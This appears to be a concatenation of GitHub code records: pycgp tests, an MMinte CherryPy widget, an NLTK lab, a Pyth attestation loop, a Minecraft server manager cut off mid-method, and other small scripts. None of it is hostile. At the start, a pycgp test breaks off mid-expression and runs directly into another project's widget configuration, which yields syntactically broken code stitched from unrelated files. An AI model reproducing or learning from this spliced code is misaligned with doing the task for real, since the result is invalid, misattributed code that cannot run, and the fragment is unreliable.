test_offspring_individuals_are_assigned_correct_indices(\n population_params, genome_params, ea_params\n):\n def objective(ind):\n ind.fitness = 0.0\n return ind\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n\n offsprings = ea._create_new_offspring_generation(pop)\n\n for idx, ind in enumerate(offsprings):\n assert ind.idx == len(pop.parents) + idx\n\n\ndef test_offspring_individuals_are_assigned_correct_parent_indices(\n population_params, genome_params, ea_params\n):\n def objective(ind):\n ind.fitness = 0.0\n return ind\n\n population_params[\"n_parents\"] = 1\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea_params[\"tournament_size\"] = 1\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n\n offsprings = ea._create_new_offspring_generation(pop)\n\n for ind in offsprings:\n assert ind.parent_idx == 0\n\n\ndef test_local_search_is_only_applied_to_best_k_individuals(\n population_params, local_search_params, ea_params\n):\n\n torch = pytest.importorskip(\"torch\")\n\n def inner_objective(f):\n return torch.nn.MSELoss()(\n torch.DoubleTensor([[1.1]]), f(torch.zeros(1, 1, dtype=torch.double))\n )\n\n def objective(ind):\n if not ind.fitness_is_None():\n return ind\n\n f = ind.to_torch()\n ind.fitness = -inner_objective(f).item()\n return ind\n\n genome_params = {\n \"n_inputs\": 1,\n \"n_outputs\": 1,\n \"n_columns\": 1,\n \"n_rows\": 1,\n \"levels_back\": None,\n \"primitives\": (cgp.Parameter,),\n }\n\n k_local_search = 2\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n local_search = functools.partial(\n cgp.local_search.gradient_based, objective=inner_objective, **local_search_params\n )\n\n ea = cgp.ea.MuPlusLambda(**ea_params, local_search=local_search, k_local_search=k_local_search)\n ea.initialize_fitness_parents(pop, objective)\n ea.step(pop, objective)\n\n for idx in range(k_local_search):\n assert pop[idx].genome._parameter_names_to_values[\"Do you want to just run the widget with the default example files?\",\n \"key\": 'text14',\n \"value\": \"Yes or No\"},\n\n { \"type\":\"text\",\n \"key\":\"text15\",\n \"label\" : \" Tell me what the path to the file that has a list of species to pair. If you don't have this and just want to create all possible 2-species communities with the models in your models folder, just type: NA. \",\n \"value\":\"Enter path to file listing the species pairs\"},\n\n { \"type\":\"text\",\n \"key\":\"text28\",\n \"label\" : \" We can also create a list of pairs based on level of correlation between the OTUs in the analysis and the similarity between these OTUs and the genomeID they were associated with in widget 2. Tell me which file has the information about the correlations between pairs of OTUs. Again, if you just want to create all possible 2-species communities with the models in your models folder, just type: NA. \",\n \"value\":\"Enter the path to the correlations file here\"},\n\n { \"type\":\"text\",\n \"key\":\"text29\",\n \"label\" : \" Tell me which file has the information about the percent similarity between the OTUs analyzed and the genome they were matched with (one of the outputs of Widget 2). Again, if you just want to create all possible 2-species communities with the models in your models folder, just type: NA.\",\n \"value\":\"Enter the path to the percent similarity file here\"},\n\n\n { \"type\":\"text\",\n \"key\":\"text16\",\n \"label\" : \" Please tell me the path to the folder containing the metabolic models you want to use. \",\n \"value\":\"Enter path to your model folder\"},\n\n {\"type\": \"text\",\n \"key\": 'text17',\n \"label\": \"Tell me which folder you would like to put models of the 2-species communities\",\n \"value\": \"Enter the path to your communities folder\"},\n ]\n \n outputs = [{\"type\":\"html\",\n \"id\":\"some_html\",\n \"control_id\":\"run_widget\",\n \"tab\":\"Results\",\n \"on_page_load\": False}]\n \n controls = [{\"type\":\"button\",\n \"label\":\"Run Widget 4\",\n \"id\":\"run_widget\"}]\n \n tabs = [\"Results\"]\n \n def getCustomCSS(self):\n ROOT_DIR = os.path.dirname(os.path.realpath('static/custom_styleMMinte.css'))\n with open(ROOT_DIR + '/custom_styleMMinte.css') as style:\n return style.read()+'''\\n .right-panel{width:65%;margin: 1em}'''\n \n \n def getHTML(self,params):\n\n if params['text14'] == 'Yes' or params['text1'] == \"yes\":\n #list @todo fix this!!! Hacked!\n corrsFile = '../supportFiles/exampleRun/userFiles/corrs.txt'\n similFile = '../supportFiles/exampleRun/userOutput/similFile.txt'\n modelFolder = '../supportFiles/exampleRun/userOutput/models/'\n comFolder = '../supportFiles/exampleRun/userOutput/communityModels/'\n createSubsetPairs(similFile,corrsFile)\n list = '../tempFiles/pairsList.txt'\n\n else:\n list = params['text15'] #todo, create this on the fly from the list of speciesIDs\n corrsFile = params['text28']\n similFile = params['text29']\n modelFolder = params['text16']\n comFolder = params['text17']\n\n ############## In case there is no list to start with! #############\n\n if list == 'NA' and similFile == 'NA' and corrsFile == 'NA':\n createAllPairs(modelFolder)\n list = '../tempFiles/pairsList.txt'\n elif list == 'NA' and similFile != 'NA' and corrsFile != 'NA':\n createSubsetPairs(similFile,corrsFile)\n list = '../tempFiles/pairsList.txt'\n\n ############## Ok, now there is a list #############################\n\n\n\n\n\n\n if not os.path.exists(comFolder):\n os.makedirs(comFolder)\n\n try:\n allPairComModels(list,modelFolder,comFolder)\n cherrypy.log(\"We're finished creating your community models\")\n except:\n cherrypy.log(\"We were unable to run allPairComModels.\")\n return \"Sorry something's wrong. Make sure the path to your file is correct and that the python module cobrapy is loaded into your system.\"\n exit()\n \n \n numModels = sum(os.path.isfile(os.path.join(comFolder, f)) for f in os.listdir(comFolder)) - 1\n \n \n \n return \"We created %d community models. In the next widget, we will use them to predict the growth rate of their species in isolation and when in the community using COBRA tools. You can find all the models in the %s.\" %(numModels,comFolder)\n\n\nif __name__ == '__main__':\n app = Widget4()\n app.launch()\n","repo_name":"mendessoares/MMinte","sub_path":"MMinte/site/MMinteW4.py","file_name":"MMinteW4.py","file_ext":"py","file_size_in_byte":5857,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"28"} +{"seq_id":"25106144450","text":"import nltk\nfrom nltk.stem import PorterStemmer, WordNetLemmatizer\nfrom nltk.corpus import wordnet\n\ntext = \"Backgammon is one of the oldest known board games. Its history can be traced back nearly 5,000 years to archeological discoveries in the Middle East. It is a two player game where each player has fifteen checkers which move between twenty-four points according to the roll of two dice.\"\n\nsentences = nltk.sent_tokenize(text)\nfor sentence in sentences:\n print(sentence)\n print()\n words = nltk.word_tokenize(sentence)\n print(words)\n print()\n\ndef compare_stemmer_and_lemmatizer(stemmer, lemmatizer, word, pos):\n print(\"Stemmer:\", stemmer.stem(word))\n print(\"Lemmatizer:\", lemmatizer.lemmatize(word, pos))\n print()\n\nlemmatizer = WordNetLemmatizer()\nstemmer = PorterStemmer()\n\ncompare_stemmer_and_lemmatizer(stemmer, lemmatizer, word = \"seen\", pos = wordnet.VERB)\ncompare_stemmer_and_lemmatizer(stemmer, lemmatizer, word = \"drove\", pos = wordnet.VERB)","repo_name":"almaszaurbekov/draft","sub_path":"nlp/01_lab/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"32410239750","text":"from dataclasses import dataclass\n\nfrom domain.exceptions import ValidationException\nfrom domain.entities.value_object import ValueObject\n\n\n@dataclass(frozen=True)\nclass AuthorName(ValueObject):\n MAX_LENGTH = 250\n MIN_LENGTH = 2\n\n value: str\n\n def validate(self) -> None:\n self.__validate_max_length()\n self.__validate_min_length()\n\n def __validate_max_length(self) -> None:\n value_length = len(self.value)\n if value_length > self.MAX_LENGTH:\n raise ValidationException(\n f'Author name too long: {self.value} (max length is {self.MAX_LENGTH}, has {value_length})'\n )\n\n def __validate_min_length(self) -> None:\n value_length = len(self.value)\n if value_length < self.MIN_LENGTH:\n raise ValidationException(\n f'Author name too short: {self.value} (min length is {self.MIN_LENGTH}, has {value_length})'\n )\n","repo_name":"fr-mm/library-api","sub_path":"domain/entities/author/value_objects/author_name.py","file_name":"author_name.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"43203055061","text":"#!/usr/bin/env python3\n\n# This script sets up a simple loop for periodical attestation of Pyth data\nfrom pyth_utils import *\n\nfrom http.client import HTTPConnection\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nimport json\nimport os\nimport re\nimport subprocess\nimport time\nimport threading\n\n\nP2W_ADDRESS = \"P2WH424242424242424242424242424242424242424\"\nP2W_ATTEST_INTERVAL = float(os.environ.get(\"P2W_ATTEST_INTERVAL\", 5))\nP2W_OWNER_KEYPAIR = os.environ.get(\n \"P2W_OWNER_KEYPAIR\", f\"/usr/src/solana/keys/p2w_owner.json\")\nP2W_ATTESTATIONS_PORT = int(os.environ.get(\"P2W_ATTESTATIONS_PORT\", 4343))\n\nPYTH_ACCOUNTS_HOST = \"pyth\"\nPYTH_ACCOUNTS_PORT = 4242\n\nWORMHOLE_ADDRESS = \"Bridge1p5gheXUvJ6jGWGeCsgPKgnE3YgdGKRVCMY9o\"\n\nATTESTATIONS = {\n \"pendingSeqnos\": [],\n}\n\nclass P2WAutoattestStatusEndpoint(BaseHTTPRequestHandler):\n \"\"\"\n A dumb endpoint for last attested price metadata.\n \"\"\"\n\n def do_GET(self):\n print(f\"Got path {self.path}\")\n sys.stdout.flush()\n data = json.dumps(ATTESTATIONS).encode(\"utf-8\")\n print(f\"Sending:\\n{data}\")\n\n ATTESTATIONS[\"pendingSeqnos\"] = []\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(data)))\n self.end_headers()\n self.wfile.write(data)\n self.wfile.flush()\n\ndef serve_attestations():\n \"\"\"\n Run a barebones HTTP server to share Pyth2wormhole attestation history\n \"\"\"\n server_address = ('', P2W_ATTESTATIONS_PORT)\n httpd = HTTPServer(server_address, P2WAutoattestStatusEndpoint)\n httpd.serve_forever()\n\n\n# Get actor pubkeys\nP2W_OWNER_ADDRESS = sol_run_or_die(\n \"address\", [\"--keypair\", P2W_OWNER_KEYPAIR], capture_output=True).stdout.strip()\nPYTH_OWNER_ADDRESS = sol_run_or_die(\n \"address\", [\"--keypair\", PYTH_PROGRAM_KEYPAIR], capture_output=True).stdout.strip()\n\n\n# Top up pyth2wormhole owner\nsol_run_or_die(\"airdrop\", [\n str(SOL_AIRDROP_AMT),\n \"--keypair\", P2W_OWNER_KEYPAIR,\n \"--commitment\", \"finalized\",\n], capture_output=True)\n\n# Initialize pyth2wormhole\ninit_result = run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"init\",\n \"--wh-prog\", WORMHOLE_ADDRESS,\n \"--owner\", P2W_OWNER_ADDRESS,\n \"--pyth-owner\", PYTH_OWNER_ADDRESS,\n], capture_output=True, die=False)\n\nif init_result.returncode != 0:\n print(\"NOTE: pyth2wormhole-client init failed, retrying with set_config\")\n run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"set-config\",\n \"--owner\", P2W_OWNER_KEYPAIR,\n \"--new-owner\", P2W_OWNER_ADDRESS,\n \"--new-wh-prog\", WORMHOLE_ADDRESS,\n \"--new-pyth-owner\", PYTH_OWNER_ADDRESS,\n ], capture_output=True)\n\n# Retrieve current price/product pubkeys from the pyth publisher\nconn = HTTPConnection(PYTH_ACCOUNTS_HOST, PYTH_ACCOUNTS_PORT)\n\nconn.request(\"GET\", \"/\")\n\nres = conn.getresponse()\n\npyth_accounts = None\n\nif res.getheader(\"Content-Type\") == \"application/json\":\n pyth_accounts = json.load(res)\nelse:\n print(f\"Bad Content type {res.getheader('Content-Type')}\", file=sys.stderr)\n sys.exit(1)\n\nprice_addr = pyth_accounts[\"price\"]\nproduct_addr = pyth_accounts[\"product\"]\n\nnonce = 0\nattest_result = run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"attest\",\n \"--price\", price_addr,\n \"--product\", product_addr,\n \"--nonce\", str(nonce),\n], capture_output=True)\n\nprint(\"p2w_autoattest ready to roll.\")\nprint(f\"ACCOUNTS: {pyth_accounts}\")\nprint(f\"Attest Interval: {P2W_ATTEST_INTERVAL}\")\n\n# Serve p2w endpoint\nendpoint_thread = threading.Thread(target=serve_attestations, daemon=True)\nendpoint_thread.start()\n\n# Let k8s know the service is up\nreadiness_thread = threading.Thread(target=readiness, daemon=True)\nreadiness_thread.start()\n\nseqno_regex = re.compile(r\"^Sequence number: (\\d+)\")\n\nnonce = 1\nwhile True:\n attest_result = run_or_die([\n \"pyth2wormhole-client\",\n \"--log-level\", \"4\",\n \"--p2w-addr\", P2W_ADDRESS,\n \"--rpc-url\", SOL_RPC_URL,\n \"--payer\", P2W_OWNER_KEYPAIR,\n \"attest\",\n \"--price\", price_addr,\n \"--product\", product_addr,\n \"--nonce\", str(nonce),\n ], capture_output=True)\n time.sleep(P2W_ATTEST_INTERVAL)\n\n matches = seqno_regex.match(attest_result.stdout)\n\n if matches is not None:\n seqno = int(matches.group(1))\n print(f\"Got seqno {seqno}\")\n\n ATTESTATIONS[\"pendingSeqnos\"].append(seqno)\n\n else:\n print(f\"Warning: Could not get sequence number\")\n\n nonce += 1\n\nreadiness_thread.join()\n","repo_name":"parasol-aser/vrust-open-source","sub_path":"examples/wormhole/third_party/pyth/p2w_autoattest.py","file_name":"p2w_autoattest.py","file_ext":"py","file_size_in_byte":4883,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"28"} +{"seq_id":"6757215986","text":"import os\nimport shutil\nimport glob\nimport subprocess\nimport time\nimport pandas as pd\nimport re\nimport numpy as np\nimport subprocess\n\ntol_ls = []\nroot_dir = \"/users/ekb16170/tolerance_calculator/1d/water/\"\nmdl_path = \"/users/ekb16170/tolerance_calculator/1d/water/model.mdl\"\nsh_path = \"/users/ekb16170/tolerance_calculator/1d/water/main_script.sh\"\n\nfor i in range(-12, 1, 1):\n\ttol_ls.append('1.e'+ str(i))\n\nfor tol in tol_ls:\n\tos.mkdir(os.path.join(root_dir, tol))\n\n\ttarget_mdl_path = root_dir + tol + \"/model.mdl\"\n\ttarget_sh_path = root_dir + tol + \"/main_script.sh\"\n\n\tshutil.copyfile(mdl_path, target_mdl_path)\n\tshutil.copyfile(sh_path, target_sh_path)\n\n\twith open(target_sh_path, 'r') as file:\n\t\tfiledata = file.read()\n\n\tfiledata = filedata.replace('FISH', tol)\n\t\n\twith open(target_sh_path, 'w') as file:\n\t\tfile.write(filedata)\n\n\tbash_command = \"bash main_script.sh\"\n\tcwd = os.getcwd()\n\tos.chdir(str(tol))\n\tsubprocess.run(['bash','main_script.sh'])\n\tos.chdir(cwd)\n","repo_name":"IainQuinn/MSci_Project","sub_path":"Tolerance Investigation/Water/tolerance_calculator.py","file_name":"tolerance_calculator.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"39512049571","text":"# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:light\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.13.5\n# kernelspec:\n# display_name: Python 3 (ipykernel)\n# language: python\n# name: python3\n# ---\n\nimport sys\ninput = sys.stdin.readline\nn = list(input())\nn.sort(reverse = True)\nfor i in n:\n print(i,end=\"\")\n\n\n\n","repo_name":"seungyeonseong/Python_PS","sub_path":"Baekjoon1427.py","file_name":"Baekjoon1427.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"9557540951","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Library modules\nimport logging\nimport sched\nimport socket\nimport subprocess\nimport threading\nimport time\n\n# Third party modules\nimport psutil\n\n\nclass Server:\n \"\"\"\n An object used to monitor and interact with a Minecraft server.\n\n Constructor:\n __init__(config)\n\n Public methods:\n getConfig(key)\n getTargetState() \n getUptime()\n isOnline()\n isResponsive()\n restart() \n run() [static]\n sendCommand(command)\n start() \n stop()\n\n Methods prefixed with _ are private methods, and should not be called externally.\n \"\"\"\n\n # Unbound variable containing an instance of the sched.scheduler\n # class, used to schedule restart and server check events across all servers.\n scheduler = sched.scheduler(\n time.time,\n time.sleep\n )\n\n\n @staticmethod\n def run():\n \"\"\"\n Static method which hands execution over to the scheduler.\n scheduler will run server restart and server check events as scheduled, and will\n run time.sleep in between events.\n \"\"\"\n\n logging.info('Running scheduler.')\n\n Server.scheduler.run()\n\n\n @staticmethod\n def _executeInShell(command):\n \"\"\"\n This will execute 'command' in the system shell, and will pipe stdout and stderr\n to the logging module.\n \"\"\"\n\n logging.info(\n 'Executing the following command in system shell:\\n{COMMAND}'.format(\n COMMAND=command\n )\n )\n\n p = subprocess.Popen(\n args=[command],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True\n )\n\n # Will block until process terminates.\n stdout, stderr = p.communicate()\n\n if stdout:\n logging.info(\n 'STDOUT:\\n{STDOUT}'.format(\n STDOUT=stdout\n )\n )\n\n if stderr:\n logging.warning(\n 'STDERR:\\n{STDERR}'.format(\n STDERR=stderr\n )\n )\n\n\n def __init__(self, config):\n \"\"\"\n Constructor to initialise the Server class.\n \"\"\"\n\n # self.lock is used to protect member variables, and also server methods\n # which read or write to these members. Such methods could be called by stdin or\n # network handler threads.\n # It is a reentrant lock, and can be acquired multiple times by the same thread.\n self._lock = threading.RLock()\n \n # Acquires lock and automatically releases it under any circumstance where execution moves\n # on from this block of code.\n with self._lock:\n logging.info(\n 'Initialising {SERVER_NICK} server.'.format(\n SERVER_NICK=config['SERVER_NICK']\n )\n )\n\n # A dictionary containing all configuration options for this server.\n self._config = config\n\n # The desired state of the server, True | False\n self._online = self._config['START_SERVER']\n\n # If server is currently online, and START_SERVER set to False, set self._online\n # to True not False. Prevents unnecessary server shutdown.\n if not self._config['START_SERVER'] and self.isOnline():\n self._online = True\n\n # This list holds all future restart events. Used for event cancellations.\n self._restartEvents = []\n\n # This holds the future server check event, to be cancelled should an immediate check\n # be requested\n self._checkEvent = None\n\n # Schedule initial restart and server check events.\n self._scheduleCheck(immediate=True)\n self._scheduleRestarts()\n\n\n def getConfig(self, key):\n \"\"\"\n Allow external modules to retrieve server configuration values.\n \"\"\"\n\n return self._config.get(key)\n\n\n def getTargetState(self):\n \"\"\"\n Allow external modules to see if the server is meant to be online\n or offline.\n \"\"\"\n\n return self._online\n\n\n def sendCommand(self, command):\n \"\"\"\n Execute a server command by calling the stuff command on the screen session\n which contains the Minecraft server console.\n \"\"\"\n\n with self._lock:\n logging.info(\n 'Sending the following command to {SERVER_NICK} server:\\n{COMMAND}'.format(\n SERVER_NICK=self._config['SERVER_NICK'],\n COMMAND=command\n )\n )\n\n # Stuffing commands into a screen session too quickly is a bad idea.\n time.sleep(1)\n\n # Send stuff command to screen session. Screen session is named with server nick.\n # \\r simulates the return key and causes the command to be executed.\n Server._executeInShell(\n 'screen -p 0 -S '\n + self._config['SERVER_NICK']\n + ' -X stuff \"\\r'\n + command\n + '\\r\"',\n )\n\n\n def _getPIDs(self):\n \"\"\"\n Returns a list of integers containing the PIDs of each Java Runtime Environment currently\n executing the server jar-file\n \"\"\"\n\n PIDs = []\n\n # Iterate over all currently running processes.\n for process in psutil.process_iter():\n try:\n # proc.cmdline() returns all command line arguments used to start the\n # process, as a list.\n commandLineArgs = process.cmdline()\n\n # Determine if this is a Java process\n if len(commandLineArgs) >= 1 and commandLineArgs[0].lower().find(\"java\") != -1:\n\n # Determine if the command line args contain the name of the server\n # jar file.\n for arg in commandLineArgs:\n if arg.find(self._config['SERVER_JAR']) != -1:\n\n # This is indeed an instance of the Minecraft server that we are\n # currently monitoring.\n PIDs.append(process.pid)\n break\n\n except psutil.Error:\n pass\n\n\n return PIDs\n\n\n def isOnline(self):\n \"\"\"\n Returns True if any server processes are currently running.\n \"\"\"\n\n return len(self._getPIDs()) > 0\n\n\n def getUptime(self):\n \"\"\"\n Returns the number of seconds for which this server has been running\n \"\"\"\n\n PIDs = self._getPIDs()\n\n if len(PIDs) == 0:\n return None\n\n else:\n try:\n process = psutil.Process(PIDs[0])\n\n except psutil.NoSuchProcess:\n return None\n\n else:\n return time.time() - process.create_time()\n\n\n def _scheduleCheck(self, immediate=False):\n \"\"\"\n Enter an event in the server scheduler that will call this server's\n self._check() method.\n \"\"\"\n\n # Cancel the existing check event if one exists. Allows _schelduleCheck to be\n # called immediately, even if there is a delayed check for this server present\n # in the scheduler.\n if self._checkEvent is not None:\n try:\n Server.scheduler.cancel(self._checkEvent)\n except ValueError:\n # Event was no longer on the queue\n pass\n \n self._checkEvent = None\n\n\n with self._lock:\n logging.debug(\n 'Scheduling a server check for {SERVER_NICK}. Immediate: {IMMEDIATE}.'.format(\n SERVER_NICK=self._config['SERVER_NICK'],\n IMMEDIATE=immediate\n )\n )\n\n if immediate:\n # Schedule an immediate server check\n self._checkEvent=Server.scheduler.enter(\n 0,\n 1,\n self._check,\n ()\n )\n\n else:\n # Schedule a server check in 60 seconds\n self._checkEvent=Server.scheduler.enter(\n 60,\n 1,\n self._check,\n ()\n )\n\n\n def _scheduleRestarts(self):\n \"\"\"\n If the server has automated restarts enabled in config,\n then enter the future restart events in the server scheduler. These\n events include warnings that are announced to the players in the\n leadup to the restart, and the restart itself.\n \"\"\"\n\n with self._lock:\n # Only schedule restarts if all conditions met:\n # Restarts are enabled in config for this server,\n # Restarts have not already been scheduled for this server,\n # This server is in the online state.\n\n # NOTE: self._restartEvents will reset next time server stops / restarts\n if self._config['ENABLE_AUTOMATED_RESTARTS'] \\\n and len(self._restartEvents) == 0 \\\n and self._online:\n\n logging.debug(\n 'Scheduling restart and restart warnings for {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n upTime = self.getUptime()\n\n if upTime is not None:\n # If restart or restart warnings are already overdue during\n # scheduling, don't restart immediately, warn the users then\n # restart after 10 minutes.\n if upTime >= self._config['RESTART_TIME'] - 10*60:\n self._restartEvents.append(\n Server.scheduler.enter(\n 0*60, # Execute task in 0 seconds\n 1, # Task has priority of 1\n self._restartWarning, # Call self.restartWarning(10)\n (10,)\n )\n )\n \n self._restartEvents.append(\n Server.scheduler.enter(\n 5*60,\n 1,\n self._restartWarning,\n (5,)\n )\n )\n \n self._restartEvents.append(\n Server.scheduler.enter(\n 9*60,\n 1,\n self._restartWarning,\n (1,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n 10*60,\n 1,\n self.restart,\n ()\n )\n )\n\n else:\n # Schedule the restart events as planned in the configuration.\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime - 10*60,\n 1,\n self._restartWarning,\n (10,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime - 5*60,\n 1,\n self._restartWarning,\n (5,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime - 1*60,\n 1,\n self._restartWarning,\n (1,)\n )\n )\n\n self._restartEvents.append(\n Server.scheduler.enter(\n self._config['RESTART_TIME'] - upTime,\n 1,\n self.restart,\n ()\n )\n )\n\n\n def _cancelRestartEvents(self):\n \"\"\"\n Cancel any future restart events from the server scheduler\n \"\"\"\n\n with self._lock:\n logging.debug(\n 'Cancelling restart events for {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n for event in self._restartEvents:\n try:\n Server.scheduler.cancel(event)\n except ValueError:\n # Event was no longer on the queue\n pass\n \n self._restartEvents = []\n\n\n def _restartWarning(self, minutes):\n if minutes == 1:\n self.sendCommand('say An automated restart will occur in 1 minute.')\n self.sendCommand('save-all')\n\n else:\n self.sendCommand('say An automated restart will occur in ' + str(minutes) + ' minutes.')\n\n\n def _killServer(self):\n \"\"\"\n Sends a SIGKILL signal to any process that was started with a command\n containing the server jar name.\n\n External calls should use stop() instead.\n \"\"\"\n\n with self._lock:\n logging.warning(\n 'Sending SIGKILL signal to {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n for PID in self._getPIDs():\n try:\n proc = psutil.Process(PID)\n proc.kill()\n\n except psutil.NoSuchProcess:\n logging.warning(\n 'Tried to kill process {PID}, when there was no such process running.'.format(\n PID=PID)\n )\n\n except psutil.AccessDenied:\n logging.warning(\n 'Tried to kill process {PID}, but this user does not have the necessary'.format(\n PID=PID\n )\n + ' permissions.'\n )\n\n else:\n logging.info(\n 'Killed process {PID} successfully.'.format(\n PID=PID\n )\n )\n\n\n def _quitScreenSession(self):\n \"\"\"\n Forces the screen session to quit, necessary tidyup in case user has opened new window\n inside the session causing screen not to close with the server process. This would\n otherwise interfere with the sendCommand method.\n \"\"\"\n\n with self._lock: \n Server._executeInShell(\n 'screen -S '\n + self._config['SERVER_NICK']\n + ' -X quit',\n )\n\n\n def stop(self):\n \"\"\"\n Attempt to stop server gracefully, else stop forcefully.\n \"\"\"\n\n # TODO: throw exceptions on error\n\n with self._lock:\n if self._online:\n\n logging.debug(\n 'Stopping {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n # Prevent any restart events from being executed on the stopped server\n self._cancelRestartEvents()\n\n self.sendCommand('stop')\n\n # Update state variable to indicate that the server should now be offline\n self._online = False\n\n # Wait 60 seconds for process to terminate\n for index in range(12):\n time.sleep(5)\n\n if not self.isOnline():\n\n logging.debug(\n '{SERVER_NICK} server was closed gracefully.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n return\n\n # If process did not terminate, then stop forcefully.\n self._killServer()\n\n \n def start(self):\n \"\"\"\n Create a new screen session for the server and execute the server start script\n \"\"\"\n\n # TODO: throw exception on error\n\n with self._lock:\n # Only proceed if server is currently offline\n if not self.isOnline():\n\n logging.info(\n 'Starting {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n # Just in case there is an existing screen session from a previous server\n # instance.\n self._quitScreenSession()\n\n Server._executeInShell(\n 'screen -d -m -S '\n + self._config['SERVER_NICK']\n + ' '\n + self._config['SERVER_PATH']\n + '/'\n + self._config['START_SCRIPT'],\n )\n\n if self._config['MULTIUSER_ENABLED']:\n Server._executeInShell(\n 'screen -S '\n + self._config['SERVER_NICK']\n + ' -X multiuser on',\n )\n\n for user in self._config['AUTHORISED_ACCOUNTS']:\n Server._executeInShell(\n 'screen -S '\n + self._config['SERVER_NICK']\n + ' -X acladd '\n + user,\n )\n\n # Update state variable to indicate that the server should now be online\n self._online = True\n\n # Give OS a chance to launch the process, as scheduleRestarts requires\n # the process to be running in order to calculate the restart times.\n time.sleep(5)\n self._scheduleRestarts()\n\n\n else:\n logging.warning(\n 'Attempted to start {SERVER_NICK} server which was in online state.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n\n def restart(self):\n if self._online:\n with self._lock:\n self.sendCommand('say Server is restarting, see you soon!')\n self.stop()\n self.start()\n\n\n def isResponsive(self):\n \"\"\"\n Test the server responsiveness by opening a network socket and asking the server\n for its player count and message of the day.\n \"\"\"\n\n with self._lock:\n try:\n # Set up our socket\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(10)\n s.connect((self._config['HOSTNAME'], self._config['PORT']))\n\n # Send 0xFE: Server list ping\n s.send('\\xfe\\x01')\n\n # Read some data\n d = s.recv(1024)\n s.close()\n\n # Check we've got a 0xFF Disconnect\n assert d[0] == '\\xff'\n\n # Remove the packet ident (0xFF) and the short containing the length of the string\n # Decode UCS-2 string\n d = d[3:].decode('utf-16be')\n\n #Check the first 3 characters of the string are what we expect\n assert d[:3] == u'\\xa7\\x31\\x00'\n\n \"\"\"\n Commented in case the returned information becomes useful:\n\n # Split\n d = d[3:].split('\\x00')\n \n # Return a dict of values\n return {'protocol_version': int(d[0]),\n 'server_version': d[1],\n 'motd': d[2],\n 'players': int(d[3]),\n 'max_players': int(d[4])}\n \"\"\"\n\n except (socket.error, socket.timeout, AssertionError, IndexError):\n logging.debug(\n 'Network responsiveness test for {SERVER_NICK} returning False.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n return False\n\n else:\n logging.debug(\n 'Network responsiveness test for {SERVER_NICK} returning True.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n return True\n\n\n def _check(self):\n \"\"\"\n Compare the desired state with the actual state of the server,\n and take action as necessary.\n \"\"\"\n\n self._checkEvent = None\n\n with self._lock:\n logging.debug(\n 'Beginning server check of {SERVER_NICK} server.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n # List of process IDs of Java Runtime Environment processes currently\n # executing the Minecraft server.\n # len(serverPIDs) gives the number of processes currently running.\n PIDs = self._getPIDs()\n\n while len(PIDs) > 1:\n # Multiple instances of this server are running simultaneously. Kill the ones\n # most recently started, leaving one remaining.\n\n logging.warning(\n 'Multiple instances of {SERVER_NICK} server are running simultaneously.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' Number of processes found: {NUM_PROCESSES}'.format(\n NUM_PROCESSES=len(PIDs)\n )\n )\n\n\n newestProcess = psutil.Process(PIDs[0])\n\n for PID in PIDs: \n process = psutil.Process(PID)\n\n if process.create_time() > 